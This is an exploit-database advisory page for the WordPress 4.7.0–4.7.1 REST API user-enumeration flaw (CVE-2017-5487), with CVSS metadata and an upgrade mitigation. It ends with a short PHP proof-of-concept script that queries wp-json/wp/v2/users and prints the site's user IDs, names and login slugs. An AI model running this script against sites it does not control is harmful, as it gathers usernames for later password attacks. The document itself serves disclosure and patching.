header-logo
Suggest Exploit
vendor:
WordPress
by:
Mateus a.k.a Dctor
5,3
CVSS
MEDIUM
Information Disclosure
200
CWE
Product Name: WordPress
Affected Version From: 4.7.0
Affected Version To: 4.7.1
Patch Exists: YES
Related CWE: CVE-2017-5487
CPE: a:wordpress:wordpress
Other Scripts: N/A
Tags: cve,cve2017,wordpress,wp,edb
CVSS Metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Nuclei Metadata: {'max-request': 2, 'shodan-query': 'http.component:"WordPress"', 'verified': True, 'vendor': 'wordpress', 'product': 'wordpress'}
Platforms Tested: None
2017

WordPress REST API Information Disclosure Vulnerability

WordPress Core before 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows a remote attacker to obtain sensitive information via a wp-json/wp/v2/users request.

Mitigation:

Upgrade to WordPress version 4.7.2 or later.
Source

Exploit-DB raw data:

#!usr/bin/php
<?php

#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');


$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
	echo "*-----------------------------*\n";
foreach($json as $users){
	echo "[*] ID :  |" .$users['id']     ."|\n";
	echo "[*] Name: |" .$users['name']   ."|\n";
	echo "[*] User :|" .$users['slug']   ."|\n";
	echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}


?>